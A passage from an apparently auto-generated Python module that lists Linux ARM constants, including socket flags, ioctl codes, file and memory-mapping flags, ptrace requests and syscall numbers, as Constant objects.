Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_ACCMODE = Constant('O_ACCMODE',0o003) O_RDONLY = Constant('O_RDONLY',0o0) O_WRONLY = Constant('O_WRONLY',0o1) O_RDWR = Constant('O_RDWR',0o2) O_CREAT = Constant('O_CREAT',0o100) O_EXCL = Constant('O_EXCL',0o200) O_NOCTTY = Constant('O_NOCTTY',0o400) O_TRUNC = Constant('O_TRUNC',0o1000) O_APPEND = Constant('O_APPEND',0o2000) O_NONBLOCK = Constant('O_NONBLOCK',0o4000) O_NDELAY = Constant('O_NDELAY',0o4000) O_DSYNC = Constant('O_DSYNC',0o10000) FASYNC = Constant('FASYNC',0o20000) O_DIRECTORY = Constant('O_DIRECTORY',0o40000) O_NOFOLLOW = Constant('O_NOFOLLOW',0o100000) O_DIRECT = Constant('O_DIRECT',0o200000) O_LARGEFILE = Constant('O_LARGEFILE',0o400000) O_NOATIME = Constant('O_NOATIME',0o1000000) O_CLOEXEC = Constant('O_CLOEXEC',0o2000000) O_SYNC = Constant('O_SYNC',(0o10000|0o4000000)) O_PATH = Constant('O_PATH',0o10000000) __O_TMPFILE = Constant('__O_TMPFILE',0o20000000) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETLK = Constant('F_GETLK',5) F_SETLK = Constant('F_SETLK',6) F_SETLKW = Constant('F_SETLKW',7) F_SETOWN = Constant('F_SETOWN',8) F_GETOWN = Constant('F_GETOWN',9) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) F_GETLK64 = Constant('F_GETLK64',12) F_SETLK64 = Constant('F_SETLK64',13) F_SETLKW64 = Constant('F_SETLKW64',14) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',0) F_WRLCK = Constant('F_WRLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_EXLCK = Constant('F_EXLCK',4) F_SHLCK = Constant('F_SHLCK',8) F_INPROGRESS = Constant('F_INPROGRESS',16) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o40000)) O_ASYNC = Constant('O_ASYNC',0o20000) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x10) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000) MAP_LOCKED = Constant('MAP_LOCKED',0x2000) MAP_NORESERVE = Constant('MAP_NORESERVE',0x4000) MAP_POPULATE = Constant('MAP_POPULATE',0x8000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000) MAP_STACK = Constant('MAP_STACK',0x20000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x40000) MS_ASYNC = Constant('MS_ASYNC',1) MS_INVALIDATE = Constant('MS_INVALIDATE',2) MS_SYNC = Constant('MS_SYNC',4) MCL_CURRENT = Constant('MCL_CURRENT',1) MCL_FUTURE = Constant('MCL_FUTURE',2) MCL_ONFAULT = Constant('MCL_ONFAULT',4) MADV_NORMAL = Constant('MADV_NORMAL',0x0) MADV_RANDOM = Constant('MADV_RANDOM',0x1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2) MADV_WILLNEED = Constant('MADV_WILLNEED',0x3) MADV_DONTNEED = Constant('MADV_DONTNEED',0x4) MAP_ANON = Constant('MAP_ANON',0x20) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) USR26_MODE = Constant('USR26_MODE',0x00) FIQ26_MODE = Constant('FIQ26_MODE',0x01) IRQ26_MODE = Constant('IRQ26_MODE',0x02) SVC26_MODE = Constant('SVC26_MODE',0x03) USR_MODE = Constant('USR_MODE',0x10) FIQ_MODE = Constant('FIQ_MODE',0x11) IRQ_MODE = Constant('IRQ_MODE',0x12) SVC_MODE = Constant('SVC_MODE',0x13) ABT_MODE = Constant('ABT_MODE',0x17) UND_MODE = Constant('UND_MODE',0x1b) SYSTEM_MODE = Constant('SYSTEM_MODE',0x1f) MODE_MASK = Constant('MODE_MASK',0x1f) T_BIT = Constant('T_BIT',0x20) F_BIT = Constant('F_BIT',0x40) I_BIT = Constant('I_BIT',0x80) CC_V_BIT = Constant('CC_V_BIT',(1 << 28)) CC_C_BIT = Constant('CC_C_BIT',(1 << 29)) CC_Z_BIT = Constant('CC_Z_BIT',(1 << 30)) CC_N_BIT = Constant('CC_N_BIT',(1 << 31)) PCMASK = Constant('PCMASK',0) SYS_accept = Constant('SYS_accept',(0+285)) SYS_accept4 = Constant('SYS_accept4',(0+366)) SYS_access = Constant('SYS_access',(0+ 33)) SYS_acct = Constant('SYS_acct',(0+ 51)) SYS_add_key = Constant('SYS_add_key',(0+309)) SYS_adjtimex = Constant('SYS_adjtimex',(0+124)) SYS_alarm = Constant('SYS_alarm',(0+ 27)) SYS_arm_fadvise64_64 = Constant('SYS_arm_fadvise64_64',(0+270)) SYS_arm_sync_file_range = Constant('SYS_arm_sync_file_range',(0+341)) SYS_bdflush = Constant('SYS_bdflush',(0+134)) SYS_bind = Constant('SYS_bind',(0+282)) SYS_bpf = Constant('SYS_bpf',(0+386)) SYS_brk = Constant('SYS_brk',(0+ 45)) SYS_capget = Constant('SYS_capget',(0+184)) SYS_capset = Constant('SYS_capset',(0+185)) SYS_chdir = Constant('SYS_chdir',(0+ 12)) SYS_chmod = Constant('SYS_chmod',(0+ 15)) SYS_chown = Constant('SYS_chown',(0+182)) SYS_chown32 = Constant('SYS_chown32',(0+212)) SYS_chroot = Constant('SYS_chroot',(0+ 61)) SYS_clock_adjtime = Constant('SYS_clock_adjtime',(0+372)) SYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',(0 + 405)) SYS_clock_getres = Constant('SYS_clock_getres',(0+264)) SYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',(0 + 406)) SYS_clock_gettime = Constant('SYS_clock_gettime',(0+263)) SYS_clock_gettime64 = Constant('SYS_clock_gettime64',(0 + 403)) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(0+265)) SYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',(0 + 407)) SYS_clock_settime = Constant('SYS_clock_settime',(0+262)) SYS_clock_settime64 = Constant('SYS_clock_settime64',(0 + 404)) SYS_clone = Constant('SYS_clone',(0+120)) SYS_clone3 = Constant('SYS_clone3',(0 + 435)) SYS_close = Constant('SYS_close',(0+ 6)) SYS_connect = Constant('SYS_connect',(0+283)) SYS_copy_file_range = Constant('SYS_copy_file_range',(0+391)) SYS_creat = Constant('SYS_creat',(0+ 8)) SYS_delete_module = Constant('SYS_delete_module',(0+129)) SYS_dup = Constant('SYS_dup',(0+ 41)) SYS_dup2 = Constant('SYS_dup2',(0+ 63)) SYS_dup3 = Constant('SYS_dup3',(0+358)) SYS_epoll_create = Constant('SYS_epoll_create',(0+250)) SYS_epoll_create1 = Constant('SYS_epoll_create1',(0+357)) SYS_epoll_ctl = Constant('SYS_epoll_ctl',(0+251)) SYS_epoll_wait = Constant('SYS_epoll_wait',(0+252)) SYS_eventfd = Constant('SYS_eventfd',(0+351)) SYS_eventfd2 = Constant('SYS_eventfd2',(0+356)) SYS_execve = Constant('SYS_execve',(0+ 11)) SYS_execveat = Constant('SYS_execveat',(0+387)) SYS_exit = Constant('SYS_exit',(0+ 1)) SYS_exit_group = Constant('SYS_exit_group',(0+248)) SYS_faccessat = Constant('SYS_faccessat',(0+334)) SYS_fallocate = Constant('SYS_fallocate',(0+352)) SYS_fanotify_init = Constant('SYS_fanotify_init',(0+367)) SYS_fanotify_mark = Constant('SYS_fanotify_mark',(0+368)) SYS_fchdir = Constant('SYS_fchdir',(0+133)) SYS_fchmod = Constant('SYS_fchmod',(0+ 94)) SYS_fchmodat = Constant('SYS_fchmodat',(0+333)) SYS_fchown = Constant('SYS_fchown',(0+ 95)) SYS_fchown32 = Constant('SYS_fchown32',(0+207)) SYS_fchownat = Constant('SYS_fchownat',(0+325)) SYS_fcntl = Constant('SYS_fcntl',(0+ 55)) SYS_fcntl64 = Constant('SYS_fcntl64',(0+221)) SYS_fdatasync = Constant('SYS_fdatasync',(0+148)) SYS_fgetxattr = Constant('SYS_fgetxattr',(0+231)) SYS_finit_module = Constant('SYS_finit_module',(0+379)) SYS_flistxattr = Constant('SYS_flistxattr',(0+234)) SYS_flock = Constant('SYS_flock',(0+143)) SYS_fork = Constant('SYS_fork',(0+ 2)) SYS_fremovexattr = Constant('SYS_fremovexattr',(0+237)) SYS_fsconfig = Constant('SYS_fsconfig',(0 + 431)) SYS_fsetxattr = Constant('SYS_fsetxattr',(0+228)) SYS_fsmount = Constant('SYS_fsmount',(0 + 432)) SYS_fsopen = Constant('SYS_fsopen',(0 + 430)) SYS_fspick = Constant('SYS_fspick',(0 + 433)) SYS_fstat = Constant('SYS_fstat',(0+108)) SYS_fstat64 = Constant('SYS_fstat64',(0+197)) SYS_fstatat64 = Constant('SYS_fstatat64',(0+327)) SYS_fstatfs = Constant('SYS_fstatfs',(0+100)) SYS_fstatfs64 = Constant('SYS_fstatfs64',(0+267)) SYS_fsync = Constant('SYS_fsync',(0+118)) SYS_ftruncate = Constant('SYS_ftruncate',(0+ 93)) SYS_ftruncate64 = Constant('SYS_ftruncate64',(0+194)) SYS_futex = Constant('SYS_futex',(0+240)) SYS_futex_time64 = Constant('SYS_futex_time64',(0 + 422)) SYS_futimesat = Constant('SYS_futimesat',(0+326)) SYS_getcpu = Constant('SYS_getcpu',(0+345)) SYS_getcwd = Constant('SYS_getcwd',(0+183)) SYS_getdents = Constant('SYS_getdents',(0+141)) SYS_getdents64 = Constant('SYS_getdents64',(0+217)) SYS_getegid = Constant('SYS_getegid',(0+ 50)) SYS_getegid32 = Constant('SYS_getegid32',(0+202)) SYS_geteuid = Constant('SYS_geteuid',(0+ 49)) SYS_geteuid32 = Constant('SYS_geteuid32',(0+201)) SYS_getgid = Constant('SYS_getgid',(0+ 47)) SYS_getgid32 = Constant('SYS_getgid32',(0+200)) SYS_getgroups = Constant('SYS_getgroups',(0+ 80)) SYS_getgroups32 = Constant('SYS_getgroups32',(0+205)) SYS_getitimer = Constant('SYS_getitimer',(0+105)) SYS_get_mempolicy = Constant('SYS_get_mempolicy',(0+320)) SYS_getpeername = Constant('SYS_getpeername',(0+287)) SYS_getpgid = Constant('SYS_getpgid',(0+132)) SYS_getpgrp = Constant('SYS_getpgrp',(0+ 65)) SYS_getpid = Constant('SYS_getpid',(0+ 20)) SYS_getppid = Constant('SYS_getppid',(0+ 64)) SYS_getpriority = Constant('SYS_getpriority',(0+ 96)) SYS_getrandom = Constant('SYS_getrandom',(0+384)) SYS_getresgid = Constant('SYS_getresgid',(0+171)) SYS_getresgid32 = Constant('SYS_getresgid32',(0+211)) SYS_getresuid = Constant('SYS_getresuid',(0+165)) SYS_getresuid32 = Constant('SYS_getresuid32',(0+209)) SYS_getrlimit = Constant('SYS_getrlimit',(0+ 76)) SYS_get_robust_list = Constant('SYS_get_robust_list',(0+339)) SYS_getrusage = Constant('SYS_getrusage',(0+ 77)) SYS_getsid = Constant('SYS_getsid',(0+147)) SYS_getsockname = Constant('SYS_getsockname',(0+286)) SYS_getsockopt = Constant('SYS_getsockopt',(0+295)) SYS_gettid = Constant('SYS_gettid',(0+224)) SYS_gettimeofday = Constant('SYS_gettimeofday',(0+ 78)) SYS_getuid = Constant('SYS_getuid',(0+ 24)) SYS_getuid32 = Constant('SYS_getuid32',(0+199)) SYS_getxattr = Constant('SYS_getxattr',(0+229)) SYS_init_module = Constant('SYS_init_module',(0+128)) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',(0+317)) SYS_inotify_init = Constant('SYS_inotify_init',(0+316)) SYS_inotify_init1 = Constant('SYS_inotify_init1',(0+360)) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',(0+318)) SYS_io_cancel = Constant('SYS_io_cancel',(0+247)) SYS_ioctl = Constant('SYS_ioctl',(0+ 54)) SYS_io_destroy = Constant('SYS_io_destroy',(0+244)) SYS_io_getevents = Constant('SYS_io_getevents',(0+245)) SYS_io_pgetevents = Constant('SYS_io_pgetevents',(0 + 399)) SYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',(0 + 416)) SYS_ioprio_get = Constant('SYS_ioprio_get',(0+315)) SYS_ioprio_set = Constant('SYS_ioprio_set',(0+314)) SYS_io_setup = Constant('SYS_io_setup',(0+243)) SYS_io_submit = Constant('SYS_io_submit',(0+246)) SYS_io_uring_enter = Constant('SYS_io_uring_enter',(0 + 426)) SYS_io_uring_register = Constant('SYS_io_uring_register',(0 + 427)) SYS_io_uring_setup = Constant('SYS_io_uring_setup',(0 + 425)) SYS_ipc = Constant('SYS_ipc',(0+117)) SYS_kcmp = Constant('SYS_kcmp',(0+378)) SYS_kexec_file_load = Constant('SYS_kexec_file_load',(0 + 401)) SYS_kexec_load = Constant('SYS_kexec_load',(0+347)) SYS_keyctl = Constant('SYS_keyctl',(0+311)) SYS_kill = Constant('SYS_kill',(0+ 37)) SYS_lchown = Constant('SYS_lchown',(0+ 16)) SYS_lchown32 = Constant('SYS_lchown32',(0+198)) SYS_lgetxattr = Constant('SYS_lgetxattr',(0+230)) SYS_link = Constant('SYS_link',(0+ 9)) SYS_linkat = Constant('SYS_linkat',(0+330)) SYS_listen = Constant('SYS_listen',(0+284)) SYS_listxattr = Constant('SYS_listxattr',(0+232)) SYS_llistxattr = Constant('SYS_llistxattr',(0+233)) SYS__llseek = Constant('SYS__llseek',(0+140)) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',(0+249)) SYS_lremovexattr = Constant('SYS_lremovexattr',(0+236)) SYS_lseek = Constant('SYS_lseek',(0+ 19)) SYS_lsetxattr = Constant('SYS_lsetxattr',(0+227)) SYS_lstat = Constant('SYS_lstat',(0+107)) SYS_lstat64 = Constant('SYS_lstat64',(0+196)) SYS_madvise = Constant('SYS_madvise',(0+220)) SYS_mbind = Constant('SYS_mbind',(0+319)) SYS_membarrier = Constant('SYS_membarrier',(0+389)) SYS_memfd_create = Constant('SYS_memfd_create',(0+385)) SYS_migrate_pages = Constant('SYS_migrate_pages',(0 + 400)) SYS_mincore = Constant('SYS_mincore',(0+219)) SYS_mkdir = Constant('SYS_mkdir',(0+ 39)) SYS_mkdirat = Constant('SYS_mkdirat',(0+323)) SYS_mknod = Constant('SYS_mknod',(0+ 14)) SYS_mknodat = Constant('SYS_mknodat',(0+324)) SYS_mlock = Constant('SYS_mlock',(0+150)) SYS_mlock2 = Constant('SYS_mlock2',(0+390)) SYS_mlockall = Constant('SYS_mlockall',(0+152)) SYS_mmap = Constant('SYS_mmap',(0+ 90)) SYS_mmap2 = Constant('SYS_mmap2',(0+192)) SYS_mount = Constant('SYS_mount',(0+ 21)) SYS_move_mount = Constant('SYS_move_mount',(0 + 429)) SYS_move_pages = Constant('SYS_move_pages',(0+344)) SYS_mprotect = Constant('SYS_mprotect',(0+125)) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(0+279)) 